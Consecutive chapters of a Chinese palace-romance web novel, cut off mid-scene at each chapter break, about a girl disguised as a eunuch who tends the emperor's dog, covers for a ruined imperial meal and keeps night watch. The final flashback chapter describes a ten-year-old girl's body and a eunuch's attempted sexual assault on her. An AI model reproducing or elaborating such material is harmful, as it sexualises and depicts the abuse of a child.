夏绫看着小铃铛叹了口气。刚见了狗子的时候,她只顾着高兴了,但今天却忍不住开始发愁。 小铃铛太胖了。她两只手去搂它的腰,都觉着费劲,这狗子非得减减肥不可。 夏绫掀开被子下了床。她坐到妆台前,将满头的黑发在头顶束成一朵小髻。 衣架上那件青色贴里,夏绫拿下来左右看了看,她从没穿过这样的衣服,觉得有些新鲜。她将衣带系好,而后扣上丝绦束带,在腰间挂上乌木牌和茄袋。 最后,夏绫将官帽扣在了自己头上。 她走到镜子前来回照了照,这身衣服一穿上,还真有点像那么回事。现在的她,俨然就是一个白净秀气的小内侍。 夏绫对自己的装束很满意。她拉开门,探出头去往外看了看。 天气晴好,万里无云。阳光洒满了宽阔的乾清宫广场,巍然耸立的殿阁上,黄灿灿的琉璃瓦粼粼闪着金光。 夏绫深深吸了一口清晨潮湿凉爽的空气,对小铃铛一挥手:“铃铛,走!” 小铃铛得了号令,撒开腿冲了出去。 积了一宿的力气,狗子的精神头好得很,跑出去可劲撒欢。夏绫也追了上去,一个小内侍身边跟着条大狗,看起来还怪威风的。 夏绫跟着小铃铛从日精门出去,一路向东跑,绕到东六宫与仁寿宫之间的夹道,一口气跑到了乾东五所才停了下来。 夏绫实在是太久没有遛过狗了,两条腿的追着四条腿的跑,累的她胸膛快要炸开了。她弯下身子大口喘着粗气:“不行了铃铛,跑慢点,再跑我就要吐了!” 小铃铛嘴张的大大的,舌头伸出来,意犹未尽的哈着气。 夏绫慢慢溜达着,边顺气边跟小铃铛说话:“铃铛啊,看你这跑的也挺快啊?那你肚子上的肉都是怎么长出来的……” 小铃铛只是高昂着头,如果它瘦一点,可以说这是一条帅气的狗子。但现在这肥美的身姿,只让夏绫觉得有点想笑。 一人一狗拐到东长街上,因这里离□□三殿更近些,往来的内侍和宫女也就多了起来。 然而,夏绫却逐渐觉得有些不对劲。 路过的宫人对小铃铛都防备的很,恨不得全都绕着它走,就连看夏绫的眼神,也全都充满了怪异。 夏绫心里不由得纳起闷来。 在路过广生左门时,有两个司苑局的小宫女正从夹道中出来。或许是她们手中拿的东西引起了小铃铛的兴趣,狗子停下脚步,冲着那二人吠了起来。 两个小姑娘的脸当时就吓白了,躲在门里无论如何都不敢再上前一步。 “铃铛,你做什么呀!” 夏绫斥了狗子一句,蹲下身摸着它的头,让它安静下来。 见那两个小宫女还不敢出来,夏绫走进门里,对她们解释道:“狗只是有些认生,它不咬人的,你们别害怕。” 可谁知,其中一个小宫女已经被吓哭了。这小丫头看着也就才十三四岁,另外那个年岁大些的轻轻拍着她的背,对夏绫欠了欠身:“对不起啊小公公,我们马上就走。” 夏绫身上穿了内侍的衣服,不自觉的也生出了些怜香惜玉的心情。她从身上摸出块帕子递给那抽抽噎噎的小姑娘:“没事没事,那我把狗先赶到一边去,你们先走。” 两人道了声谢,护着怀里的东西,赶忙离开了。 夏绫掐着腰,看了看那两个匆匆忙忙的背影,又看了看身边的狗子,心中好大的疑惑。 挺可爱的狗啊,怎么让人害怕成这样?那恶犬的传闻已经唬人到这个地步了么? * 就这么过了几天。夏绫发现,虽然她挨着乾清宫住,但是能见到宁澈的机会的确不是很多。 不过这样正好,她就能一门心思都扑在狗身上了。 为了让小铃铛能多动动,夏绫每天要遛四趟狗,早上起来一趟,快中午时一趟,下午一趟,傍晚再一趟。 这天快到晌午的时候,夏绫正领着小铃铛在东长街上溜达,远远的见着往内左门的方向去有几个乾清宫的近侍,手中提着食盒,大概是去办膳的。 小铃铛朝那个方向叫了几声,夏绫还没反应过来,大狗却已撒开腿朝那几个人奔了过去。 “喂!” 夏绫喊了一声,也立时追着狗跑了起来。 可她哪能追的上全速往前冲的猎犬?眼见着小铃铛从背后向一个近侍撞了过去,那人毫无防备,往前一扑,手中的食盒落了地,里面的饭菜落出来洒了一地。 小铃铛却还在横冲直撞,几个近侍乱了阵脚,惶恐的躲来躲去,但还是免不了又有几个食盒脱了手,满地的狼藉。 狗子见有肉掉出来,闷头在地上大口吃了起来。 “小铃铛!” 夏绫彻底火了。只有在管狗的时候,这个看似文静的江南姑娘,身上才显露出一股彪悍。 她一巴掌打在狗子身上,拎着它脖子后面的皮肉将狗拖到了墙根边,指着它气急败坏的骂到:“你怎么回事啊,我平时少喂你了吗?看看你的腰,比我腰都粗了!还小铃铛呢,以后叫你大铜铃得了!” 小铃铛终于意识到自己把夏绫给惹毛了,耷拉下脑袋,柔弱的靠在墙边不出声。 而此时,夏绫身后的一众乾清宫近侍个个都已目瞪口呆。皇上的爱犬横行霸道惯了,往日里他们只有受气的份,还从没见过哪个内侍,敢这样对御犬破口大骂。 领头的上前来戳了戳夏绫的后肩膀,问到:“小兄弟,你是在哪个宫里当差的?” 夏绫回过身来,这人她认识,是乾清宫的暖殿,叫谭小澄。 她答到:“我在乾清宫,是新来的。因为跟这狗投缘,何掌印就安排我专门照看御犬。” “噢……”对方若有所思的点了点头,看夏绫的眼神有些复杂。 夏绫看着那被糟蹋了满地的饭菜,心里十分过意不去,很诚恳的说道:“几位哥哥对不住,怪我没看住狗,给你们添麻烦了。” 可那几个近侍脸上依旧愁云惨雾的,神色并未因夏绫的道歉而缓和半分。 有嘴快的埋怨到:“说那么好听有什么用?现在差事办砸了,等上头怪罪下来,板子又不打在你身上。” 一听这话,夏绫意识到,麻烦可能惹得有点大。 “这饭是……” 谭小澄接了她的话:“万岁爷在文华殿正与阁部几位大臣议事,说是中午的时候要留大人们一起吃饭,正等着传膳呢。” 他的脸色也很不好看,甚至已经忍不住摸了摸自己的屁-股,这顿板子估计是要挨定了。 这还真有些麻烦。外廷那些文官,本就大多对宦官看不上眼 12. 文华议事 《宫墙之内有恶犬》全本免费阅读 文华殿内,宁澈坐在上首。在他对面,内阁首辅杨怀简,次辅顾文哲,三辅兼礼部尚书卢英,并锦衣卫指挥使庄衡,全都在列。 说了这一上午,事情也议的差不多了,绷着的劲一松,就觉出来饿了。 宁澈道:“时候不早了,朕让尚膳监传了饭食,几位爱卿便在这吃过后再回去吧。” 几人忙站起身来谢恩。 何敬见状,出去将办膳的内侍传了进来。 谭小澄交了食盒,随何敬进了文华殿内,垂手在一旁侯着。 何敬将食盒放在近前的小桌上,打开盖子,见着里面的东西,眼眉不经意的向上扬了一扬。然而他还是神色如常的将粥端出来,双手放在了宁澈的御案上。 同时,有几个在文华殿当值的长随,也各自端了粥分至几位阁臣与庄衡的手中。 宁澈看着面前的粥,神色不由得凝了一凝。他开口问到:“这是尚膳监备的午饭?” 谭小澄连忙上前一步,跪下叩头道:“禀主子,这是新下来的稻子,今年收成好,新一茬的稻米最为香甜,请主子和诸位大人先暖暖胃,其余的菜肴随后便到。” 宁澈拿起勺子在白粥里搅了搅:“哦,倒是用心了。” 他面上虽未表露出什么,但心中却道,这事不对。他从来都没表过这样的意思,况且,那个近侍根本没有正面回答他的话。这中间肯定有什么蹊跷。 可这人还算聪明,既说到了今年收成好,倒让人没法驳他这话。 卢英是个脑子活泛的,看着手里的这碗白粥,觉得又有了能发挥的话题,朗朗开口道:“微臣觉得这粥甚好。新谷丰登,食一食这田野之味,更让臣念及稼穑之艰。不由得想起杨阁老时常教导臣等以节俭为先,再喝这米粥,当真是甘之如饴呐!” 杨怀简抬了抬眼皮。姓卢的一张巧嘴,一坨屎都能说出花来,他可从来没时常教导过谁。 杨阁老呵呵一笑道:“那也多亏了圣上治国有方,臣等身为辅臣,自然也当为陛下多分忧些。” 宁澈不动声色的揉了揉自己的太阳穴。他倒乐得看看,一碗粥而已,这几个老家伙又能做出什么文章来。 于是他皮笑肉不笑的说道:“杨先生教得好。” 一直以来,宁澈和杨怀简的关系都很微妙。自他做皇太子时出阁读书起,就是杨怀简一手将他带出来的。宁澈感念他的师德,也愿意尊称这位肱股之臣一声先生。 但这位杨大学士身上实在是有副文人的架子。说好听了叫刚直,说难听了就是又臭又硬。他要是写折子骂起宁澈来,那是丝毫不知道手软。宁澈时常咬着后槽牙想,干脆让他回家养老去算了。 “陛下天资聪颖,臣不敢居功。”杨怀简状若无意的瞥了卢英一眼,“老朽倒是时常在阁中提要多行务实之风,文章写出花来不叫本事,不如手中这碗沉甸甸的粥,方是黎民之所求呐。” 卢英立刻接到:“阁老说的是。臣时常诵读宋时范文穆公的词集,有此妙笔传世,方知田园之乐啊。” 顾文哲本一直安静的喝着粥,越听越觉得不对劲起来。你说文章写得好没用,我就说传世的都是好文章,这是打算在御前争个高下么? 这两位阁臣皆是能人,处理起政事来拎的调理分明。只不过文人相轻,卢英看不上杨怀简刻板,杨怀简看不上卢英圆滑。两人平时在阁中说话就夹枪带棒惯了,但现在是在御前,要闹哪样? 顾大人是位厚道人,得罪人的事他干不出,和稀泥倒是一把好手。他找准时机开口道:“听两位大人说笑,倒让臣想到了小时候随先父一同到田里干活的光景了。待到麦收时节,万里金黄,臣就躺在麦子地里念书,先父做完农活后,拿着草帽为臣扇风,现在想想,好不惬意。” 这话倒是触动杨怀简了。能坐到这个位置上的人,哪个不是一步步考上来的?思及念书时的光景,不禁感慨万千。 “是啊。想到臣少时求学时,每顿饭不过就是一块馒头,或一碗米汤。今天喝这一碗白粥,滋味算不上是珍馐,但确是暖到心里了。” 宁澈打趣道:“杨先生那时吃的馒头,没准就是顾大人家种的麦子呢。” 此言一出,在场几人倒是都笑了。 宁澈跟着笑了起来,却暗暗向庄衡递了个眼色。这顿饭吃的虽说还算是舒坦,但不代表事情就能糊弄过去。 办膳只上了碗白粥这事,他得要个解释。 * 夏绫在文华殿外,等的都快急死了。谭小澄已经进去有一会了,怎么剩下的人还没过来?用盆装的粥现在也快喝完了吧! 她抄着手在墙根底下不定神的左右徘徊着,终于,看见几个办膳的近侍匆匆忙忙的从东边走过来了。 夏绫总算松了口气,踮着脚又向正殿门口瞧了瞧。不一会,就看见谭小澄提着食盒从殿内退了出来。 “小谭公公!” 夏绫从墀台下探出头来,对谭小澄招了招手。 对方不敢跑太快,迈着小碎步快步向她走过来。等后背倚在了墙上,谭小澄才觉出腿软来。 “怎么样,还顺利不?” 谭小澄抹了一把额头上的冷汗:“小乔兄弟,还得是你!万岁爷喝了粥,与几位大人还说笑了好一会,我瞧着主子脸上倒也没露出什么不悦,等主子用完了膳就赶紧退出来了。” “太好了,那就得了!”夏绫拍了拍自己的心口,心道这事总算是翻篇了。 两人正高兴着呢,忽听到有人说:“你们两个,过来一下。” 夏绫猛的回过头,见庄衡就站在离他们五步远的地方,手背在身后,面沉如水。 谭小澄脸上的笑容还没收住,一个急刹,简直比哭还要难看。 他唯唯诺诺的走到庄衡面前,躬身说:“见过庄大人。 夏绫跟在谭小澄身边,也十分老实的低着头。但心里却嘀咕,这位瘟神,怎么哪都有他? 庄衡许久没说话。夏绫心里纳不住闷,偷偷抬头看了一眼,却发现庄衡一直在盯着她。目光相碰的一瞬,夏绫又赶紧低下了头,锦衣卫的名声太过令人胆寒,再加上上回在行宫的那一顿审讯,夏绫见了他,也不免发怵。 庄衡肃着声音开口道:“陛下来问,方才那碗粥是怎么回事,果真是尚膳监备的么?” 谭小澄已经开始发抖了。他筛糠一样的说:“大人,奴婢该死……” “庄大人,都是奴婢的错,主意全是我出的!”夏绫抢一步说道,神色十分凛然,“劳您帮着跟主子求个情,就只罚奴婢一个人好了!” 庄衡扬了扬眉:“那你跟我过来吧。” “小乔兄弟……”谭小澄已经完全慌了神,绝望的看向庄衡,“庄大人……” “这里有你说话的份么?”庄衡眉间一冷,“快退下去吧。” “那小乔兄弟……” “退下!”庄衡已下了最后通牒。 谭小澄没办法,委委屈屈的拎着食盒离开了。夏绫看他背着身抹了抹眼,不知道是不是哭了。 夏绫满脸悲戚,低着头小声对庄衡道:“庄大人,那奴婢在这侯着,等主子的处置。” 庄衡却插着手臂,不慌不忙的打量着她。 “小乔兄弟?”他无声的笑笑,“夏姑娘,您演的不错啊。” 嗯?夏绫猛的抬头。果然锦衣卫长的都是鹰眼,庄衡早就认出她了。 夏绫讪讪一笑:“哪里,还是庄大人您配合的好。” 那这么看来,庄衡方才吓人嚯嚯的赶谭小澄走,也是故意的了。 庄衡淡淡一笑,往文华殿内看了一眼:“那您是自己进去,还是需要臣先帮您通报一声?” 夏绫回敬到:“就不劳烦您了,我自己去吧。” 宁澈差了何敬去送内阁的几位辅臣回去,顺便将批红的票拟一并送到内阁发散下去。 板正的坐了这一上午,他腰背紧巴的厉害,等大殿中一没了人,他向后靠到了龙椅的垫枕上,动了动早已酸痛的肩膀。 “阿澈。” 宁澈偏过头,见穿着一身内侍衣服的夏绫走了进来。 他懒散的哼了一声,反而将身子歪的更厉害了些。就像在外面蹦跶了一天的大狗,回到家之后见了人,想要翻起肚皮撒个娇。 “怎么了乔乔,都上这来找我了?” 夏绫走到近前站定了,低头说:“阿澈,我来找你承认个错误。” 宁澈有些诧异。能出什么大不了的事,至于这么正经八百的。 “你该不会,把乾清宫的房顶子捅漏了吧?” 夏绫啧了一声:“你别打岔,我跟你说正经的呢。” “得。”宁澈不得已又坐了起来。 “那你坐下说?” 夏绫想了想,觉得自己态度还是要端正些,摇了摇头:“算了,还是站着说吧。” 宁澈由着她,只不过自己也站起了身,从书案后走出来,倚在了桌沿上。 夏绫将方才发生的事情一五一十的都跟宁澈讲了一遍。听罢,宁澈背着手点了下头,只说:“行,知道了。弄挺好。 13. 河边直房 《宫墙之内有恶犬》全本免费阅读 夏绫回到乾清宫的时候,小铃铛正蔫头耷脑的蹲在她住处的门口。 夏绫还有点生气的瞪了狗子一眼,却又心软的蹲下身来,在它脖子上挠了挠:“铃铛,怎么回事啊?你身上这些坏习惯,咱们可得改改了。” 她领着狗子进了屋,将从宁澈那讨来的纸笔都铺在桌上,坐在桌边认认真真的画了起来。 没过多会,她拿起几页自己画好的画纸,蹲在地上一张张给狗子看。 “铃铛,往这看。”夏绫很严肃的指着纸上的画,“在外面,随随便便大声对别人叫,是不可以的。” 纸上用简单的线条画着一条大黄狗,正大张着嘴对两个小姑娘狂吠。夏绫在这张纸上画了一个大大的叉,然后对着狗子挥了挥拳头:“如果下次你再这样,我可是要揍你了哦!” 然后她又拿起了另外一张纸,神情缓和了些:“出去玩的时候,乖乖跟在我身边,不到处乱跑,不随便吃别人的东西,这是可以的。” 这回的纸上画着夏绫自己,旁边坐着小铃铛,正乖巧可爱的吐着舌头。她在这张纸上又画了张大大的笑脸,伸手在狗子下巴上挠了挠:“这样的话,回来会有奖励!” 狗子被夏绫挠的很舒服,喉咙里咕噜一声,咣当一下躺倒在地上,把肚皮露出来让夏绫接着挠。 夏绫真是没脾气了。她发愁的看了看手里的两张纸,也不知道这样讲狗子到底能不能听懂啊? 阳光透过窗格落在地上的光影越来越长,夏绫却忽听到有人在轻轻敲她的房门。 拉开门,见是谭小澄站在外面。 “小谭公公,找我有事?” “小乔兄弟。”谭小澄局促的搓了搓手,带着些歉疚和感激,“是这样,晌午主子和几位大人喝完粥之后,其余的菜便没动几口,主子开恩将剩下的肉菜都赏了我们。他们几个人正在河边直房里热饭呢,今天这事大家都挺感激你的,所以我过来问问,你要不要过去和我们一块吃?” 夏绫属实觉得有些意外。今天这事,要真追究起来,还得怪她没看住狗。她只是把窟窿填平罢了,没想到人家倒真念着她的好。 心里还挺暖和和的。 谭小澄说的很真诚,夏绫觉得自己实在不该拒绝,便笑道:“好呀,小谭哥,我跟你一块去。” 筒子河边的内侍直房,有袅袅青烟在夕阳未尽的天幕下舒缓的飘起。 夏绫离着老远便闻到了饭香味,她随谭小澄进了门,见早前见过的那几个乾清宫近侍,正挽着袖子在院子里忙活。有热饭的,有搬桌子的,有收拾碗筷的,人一多,烟火一起,就让人觉得有点像是过年。 谭小澄一进门便喊道:“大家快看,是谁来了!” “小乔兄弟?” “小乔兄弟!” 院中的几个人皆停下手中的活计,笑吟吟的同夏绫打着招呼。 夏绫一下子就融化在这烟火气当中了。她也挽起袖子,同谭小澄说:“小谭哥,还有什么我能帮忙的不?” “不用不用,都已经收拾好了。”谭小澄引着夏绫向屋内走,“小乔兄弟,你今天是客,便只管吃就好了!” 夏绫向周围看了看:“哎,小谭哥,你没喊小汤一起来吗?” 谭小澄有些腼腆的答到:“都是内侍,她不好意思过来,我就给她送了点吃的过去,她自己吃就行。” 饭菜依次都上了桌,谭小澄请夏绫坐在上座。其他几人笑笑嚷嚷,夏绫推推挡挡,最后还是拗不过他们的盛情,夏绫坐在了正对门口的位置上。 六七个人一同围着圆桌坐下,谭小澄将夏绫面前的茶杯斟满,又端起自己的杯子说:“小乔兄弟,晚上还要当值的不敢喝酒,我们就以水代酒敬你一杯。” 夏绫忙将自己的杯子端起来:“大家太客气了。” 谭小澄道:“小乔兄弟,今天白天的事还多亏你想的法子及时,我们几个才免挨了顿罚,觉得一定要当面跟你道声谢才行。以后在宫里,如果有什么需要我们的地方就尽管说,能帮上的我们一定帮。” “是呀是呀,小乔兄弟不要客气。” “以后咱们就都是自己人了!” 几个人七嘴八舌的说笑了起来。 夏绫心里明白,自己之所以敢把事都往身上揽,是因为有宁澈罩着她,她什么都不用怕。但落在别人眼里,倒成了舍己救人了。 她不免有些发虚,可又没法解释,只能往宁澈脸上贴点金:“还是皇上英明,这事大家本就没什么错处,解释清楚了陛下也不会怪罪的。” 谭小澄点点头:“确实。咱们陛下虽然平日里看着冷了些,但伺候久了就知道他不是位是非不辨的主子。小乔兄弟,以后要有功夫我给你讲讲万岁爷的脾气秉性,你来的时候不长,免得当差时不知道怎么伺候。” 有人笑道:“小谭哥,这时候你就别说上值的事了,人家小乔兄弟都该饿啦!” 大家哈哈一笑,互相碰了杯:“来,吃菜吃菜!” 到底是尚膳监备的饭菜,虽然不是刚出锅的,但滋味却仍是一等一的棒。 几人越吃越热络,有爱说的问夏绫到:“小乔兄弟,那之前你都是在哪当差的?” “噢,我是从昌平行宫来的。”夏绫对这一套说辞早已烂熟于心,“这不是快到万寿圣节了么,我本是从行宫送些东西过来,正好撞上了陛下的御犬,一时没忍住就同它玩了一会。谁知让何掌印给瞧见了,他觉得我与这狗投缘,便将我留在了乾清宫专门照顾它。” 不成想此言一出,在场几人皆面面相觑。 谭小澄犹豫着开口道:“小乔兄弟,你能从行宫来乾清宫,那肯定是好事。但是我觉着,咱们自己的前程,系在人身上比系在狗身上要更踏实些。” 夏绫听他这意思是话里有话:“小谭哥,你不妨说明白些?” 谭小澄放下筷子:“小乔兄弟你想啊,要是想在乾清宫混的长久,那得主子看你顺眼。这狗就算它再尊贵,说到底是不懂人事的,它好的时候主子是看着乐呵,但要万一磕了碰了伤了吃坏了,那全都是你的错,狗又不会说话,到时候连 14. 乾清值夜 《宫墙之内有恶犬》全本免费阅读 宁澈每晚就寝的时间都很固定。 一到亥时三刻,在近前伺候的牌子便会呈热水上来,洗漱过后,宁澈会倚在床上再看会书,子时之前是一定会歇下了的。 除非有紧急要事,在宁澈看书的这一小段时间里,是绝对不敢有人打扰的。宁澈看书杂,天文地理兵法营造,什么他都能看得下去,只不过苦于白天难找得到空闲。睡前这一小会,是他每天为数不多留给自己挥霍的时间。 而趁着这个功夫,晚上在殿内直宿的内侍也需为上值做好准备。 谭小澄领着夏绫先在管事牌子跟前点了卯。此时的乾清宫中,白日里在殿内伺候的秉笔及牌子等人都还在,正将圣驾寝阁外的所有灯盏换为暗灯。 谭小澄朝夏绫打了个眼色,两人不言声的往御茶房走去,在置物间中将值夜要用的东西都取过来。 “小乔兄弟,这个你先拿下。”谭小澄拿了一盒叠的细软平整的方巾和一只小碳炉给夏绫,自己又用漆盘端了一套茶具下来。 他压低声音道:“等一会直宿的时候就不能说话了,我先跟你说说晚上这值该怎么上。” “一般情况下,万岁爷晚上睡觉的时候,大概会醒一两次。有的时候是要起夜,有的时候是要喝水,还有的时候只是醒一下,可能会问几更了。主子也有睡不着的时候,他实在入不了眠也会跟外面守着的人说说话。” “值夜的时候咱们不能进最里面的寝阁,只能在外间守着。主子起夜的时候不喜欢有人在旁边伺候,所以这个时候不用进寝殿,第二天一早自然会有管净者将恭桶取走。” “但若是主子想喝水,咱们就得进寝殿去伺候了,这水不能太热也不能太凉,需得一直在这碳炉上温着。到时候我就把茶盏在帘子外呈上去,等主子喝完了会把杯子递出来,这个也我来接。有时主子喝完水后会想擦擦嘴,如果需要的话你就再把巾子呈上去。一定要记得,这巾子只能用一次,主子用过的可千万不能再放进盒子里了。” 夏绫光听就知道这活不好干。相比之下,擦地这种粗活竟然都显得轻松了起来。她问:“那我怎么知道他是要起夜还是要水喝啊?” “打起精神仔细听。”谭小澄指了指自己的耳朵,“小乔兄弟,以后当差多了你就知道了。从主子有没有翻身,起来的快慢,呼吸的轻重,都能听得出来。有人当差当不好,是因为他们偷懒,主子睡的时候他们也睡,自然伺候不周到。但我值夜的时候向来连盹都没打过,就听着更鼓房的打更声数时辰,主子问话的时候,我都能答得上来。” 夏绫都开始有些佩服谭小澄了。 “小谭哥,你心太细了。” “嗐,当差么。像我这种没什么门路的,不就得靠自己想的周密,才能每一步都走稳些么。对了小乔兄弟,我还有个法子也可以跟你说一下。” 他说着抖了抖自己的手腕,露出腕子上缠着的三种不同颜色的丝绳。 “主子晚上要有什么动静,咱们都得记下来。万一第二天御体有恙,太医院问起头天晚上皇上就寝的情况,咱得答得上来。”谭小澄指了指手上的绳子,“主子每起次夜,我就在黄的上面打个结,每喝一回水,我在白的上面打个结,每咳嗽一回,我在红的上面打个结。我记性没那么好,所以就用了这么个笨办法,如果你需要的话,以后也可以用这个法子。” 这倒真是个好法子。夏绫心里默默想,如果自己真的只是个刚入宫不久的小火者,要是能被谭小澄这样的人带上一带,倒也是件幸事。 虽然值夜这事,于她而言属实是有些画蛇添足,但夏绫心里已经打定了主意,既然来了,就一定不能给谭小澄拖后腿。 “小谭哥我记下了,之后再上值的时候,我也学你。” 谭小澄点点头:“小乔兄弟,最后再嘱咐你一句,夜里在御前伺候的时候,一定不能说话也不能出声音,完事之后立马退出来。行了,时候差不多了,咱们准备上值吧。” 宁澈只要一将床帘打下来,就意味着准备安寝了。 这时管事牌子会进寝殿熄灯,只余下两盏暗灯,之后同几位秉笔及其余不直宿的近侍,在寝殿外磕过头后退出乾清宫,将宫门阖上回各自直房歇下。 静谧的深夜中,乾清宫内醒着的人便只剩了夏绫与谭小澄。两人一左一右,傍着寝殿门两侧各自席地而坐。碳炉在谭小澄那一边,黑暗之中有微弱的红光自风口处透出。 夏绫身后是一方多宝阁柜,柜子下半身为两扇木门,正好可以让她倚上一会。 很快她就发现,值夜这事最难受的地方在于,怎么才能在这无聊又无声的夜里,一直打着精神不睡过去。 一个时辰后,夏绫实在是有些颓了,哈欠一个连一个的打,忍都忍不住。她甚至在心里开始祈祷,阿澈,求你出点声音吧,哪怕能让我站起来活动一下也好啊。 夏绫看了看谭小澄,见他一直都睁着眼,只安静的仰着头往房顶上看,不知道在想些什么。 夏绫心里的一股好胜劲一下子上来了。她朝自己大腿上狠掐了一把,不行,不能睡! 得琢磨点什么让自己别那么无聊。 夏绫想,要不数数吧。 她从一数到了一千,从二更天数到了三更天。 夏绫又想,要不背诗吧。 她从头开始背唐宋八大家的传世之作,从三更天背到了四更天。 在她刚背完“蓼茸蒿笋试春盘”时,忽听到寝殿内有响动。 谭小澄反应奇快,他迅速且无声的倒好了水,在夏绫意识到这是该进寝殿的时候,谭小澄都已经站起来了。 夏绫连忙从地上爬起来,拿好方巾跟上他。 寝殿内的味道与外头的不太一样,是一种柔和舒缓的香气,很好闻,能让人莫名觉得安定。 谭小澄穿的软底鞋,踩在地上没有一丝声响。他快步走进寝殿,在御榻前跪下,双手将水杯举的与床同高。夏绫跟着谭小澄也在旁边跪下,可等了许久,都不见宁澈伸出手来接。 他好像并没有醒。 床帐内又传来些窸窣的响动,宁澈的呼吸急促了些,喃喃的喊了声:“爹……” 他睡得不太安稳,翻了个身,搭过来的手无意将床幔拨动开了一条缝隙。 “娘……” 夏绫意识到,宁澈大概是在说梦话了。 她同谭小澄对视了一眼,觉得这里应当是没他们什么事了,站起身来准备退出去。谭小澄双手都被茶杯占着,便向夏绫递了个眼色,示意她将床幔阖上,免得等天再亮些,会有光照进去。 夏绫会意,弯下身轻轻将两方床幔交叠在一起。 可毫无预料的,宁澈不知道是梦见了什么,当空一抓,正抓住了夏绫的手腕。 这! 夏绫一把捂住嘴,才忍着没叫出声来,浑身的血都被吓凉了。 她兵荒马乱的看向谭小澄,这这这,怎么办怎么办? 谭小澄哪里知道该怎么办?他脸色煞白,只一个劲的跟夏绫比口型,你别动,千万别出声! 夏绫就知道,这个时候他什么用都顶不上。 宁澈的手上是带了力道的,攥得她有些疼。夏绫埋怨了一番自己的倒霉运气,向谭小澄挥了挥手,告诉他,你先出去,这里我来想办法。 待寝殿中没了人,夏绫蹲下身,轻缓的拨开帘子,将头探到了床帐里。 宁澈紧蹙着眉,牙关咬的很用力,看样子是被梦给魇住了。 夏绫用两根手指在他手腕内侧挠了挠,温声唤他到:“阿澈,阿澈?” 宁澈眉心动了动,却又染上了一重浓的化不开的悲凉。 “不要,走……” 夏绫垂下眼睫。 不知道她此时说的话,与宁澈梦中之人是否会有片刻的重合。 “阿澈,放手吧。” * 待到卯时,更鼓房的鼓声响过,便会有管事牌子进乾清宫来,准备好洗漱用的温水和帕子侯着圣驾晨起。 夏绫和谭小澄这个时候也可以下值回去歇息了。 出乾清宫时,东方的天边已经泛起了鱼肚白。一夜未睡,夏绫的精神有些恍惚,下了汉白玉台阶后,她倚在墙边上缓了一会。 谭小澄以为她是被吓着了,忧心的问:“小乔兄弟,你没事吧?” 夏绫摇了摇头,只是觉得心里的什么地方不太舒坦。 “小乔,我觉得你还挺厉害的。如果是我头回当值就遇到这事,估计魂早就吓没了。得亏主子没醒,咱俩这也算是有惊无险。”他扶住夏绫,两个人一起慢慢往外走,“我猜你那也没什么吃的,要不你跟我到河边直房去吃一口吧,等回来你再休息。” 夏绫的确是觉得有些饿了。她揉了揉肚子:“这倒是行。不过我得先去把狗喂了,要是它看不见我,估计又得拆家。” 果然,小铃铛见了夏绫,咬着她的衣摆,死活要跟她一块出去。 夏绫顶着两大团乌黑的眼圈,实在没有力气再跟狗吵架了,只能将它带上。 这个时候,河边直房的其他人已经各自去当值,便只有夏绫和谭小澄两个人。 “小乔兄弟,你先去屋里坐会,我去准备吃的,很快就好。” 谭小澄干活利落得很,挽起袖子取了面粉揉成面团,没一会功夫,两张热腾腾的烙饼就出了锅。 他掀开坛子,见里面只剩了最后一个咸鸭蛋,也一块拿出来都给了夏绫。 刚出锅的烙饼就是香。夏绫一块一块撕着吃,或许是累了,她低着头,也想不起来要说话。 谭小澄看她这样子仍是不放心:“小乔兄弟,你是不是被吓着了还没缓过来?” 夏绫摇了摇头:“可能就是第一次上值吧,不太习惯。睡一觉应该就好了。” 谭小澄倒了杯水给她:“嗯,那就好。不过这事也让咱俩长个心眼,以后主子再说梦话,伺候的时候可千万不能离这么近了。” 夏绫抬眼:“他还总是说梦话吗?” “也不是特别经常,我大概遇上过两三回吧。”谭小澄仔细回忆了一下,“一般事情多的时候,心思重的时候,主子就特别爱做梦,有的时候就会说梦话。” “那他都说些什么?” “嗯,无非也就是在梦里喊喊先帝。可能也有别的,但是我都没太听清。” 夏绫无意的将手中的烙饼揪成一小块一小块的。 谭小澄叹了口气:“唉,其实每回我听见主子在梦里喊先帝,心里都怪不落忍的。先帝爷对主子那真是,寻常人家的父子都不见得能好成这样,怎么可能不 15. 前尘(二) 《宫墙之内有恶犬》全本免费阅读 到了十岁,夏绫觉得自己的身体开始发生一些她难以预知的变化。 胸好像胀了一些,屁-股也翘了一些,就连很私密的地方,也开始长出细密的杂草。 大概从去年起,傅薇就不让阿澈同夏绫睡在一起了。她将阿澈赶到靠墙的位置去,自己睡在中间,后来甚至还挂起了一片帘子,将阿澈一个人圈在里面。 阿澈耐不住寂寞,尤其是夏天,屋子里闷热的睡不着,他会偷偷从帘子底下探过脑袋来,看傅薇和夏绫在这边做什么。 傅薇总是一巴掌把他拍回去,又随手拿起单子将夏绫身上遮住。 夏绫开始朦胧的意识到,阿澈是不一样的。跟她不一样,跟傅薇不一样,跟浣衣局里的那些内宦们,也不一样。 但到底是哪里不一样,夏绫其实也说不太明白。 与往常一样,夏绫洗好了自己手里的衣服,拿去后院的架子上去晾。可就在她端着空木盆往回走时,却被几个内宦堵在了角落里。 一人颐指气使的同她说:“你拿这个盆去打些热水,送到冯公公屋里来。” 这些人不是她能招惹的起的,夏绫不敢反抗,只得顺从的去打了满盆的热水,送到那位冯内监的房里。 房屋的门在夏绫身后闭上。冯公公就坐在最中间的圈椅上,左右各站了一个内侍,还有两人在夏绫身后。其中一人支使她道:“去,伺候冯公公洗脚。” 夏绫从未做过这种伺候内宦的事,心中有些不舒服,但又知自己无力反抗,只期待能快些息事宁人。 她将那盆热水放在冯内监面前,蹲下身为他脱下鞋袜,又挽起自己两侧的衣袖,想将他的脚放入盆中。 冯内监的双脚踩在木盆边缘上,不安分的踩上了夏绫的手心。可他却没将脚放入水中,而是顺着夏绫白皙的手臂向上游走。 夏绫吓得一下子站起了身。 “对不住公公,奴婢刚想起还有些事要忙,就先走了。” 她意识到了这些人来者不善,想要赶快逃离。可身后站着的两人却将她直接堵了回去。 夏绫慌乱的回过身,却见那位冯姓内监已趿着鞋站了起来,带着三分调戏,三分深情的说道:“绫丫头,公公我看上你好久了,跟我好吧。” 夏绫整个人已经恐惧到了极点,胡乱的拨开身后的人就想往门外逃,不想却被大力拽了回来。两人将夏绫死死制住,让她动弹不得分毫。 冯内监像把玩一个心爱的物件一样,伸手在夏绫光洁的脸颊上摩挲着,而后手指往下游走,探入了她的领口。 夏绫浑身都僵得不能动了,一股热泪直冲上她的眼眶。 当是时,一阵疾风暴雨般的敲门声却骤然响起。 冯内监被扰了兴致,怒喝道:“谁!” 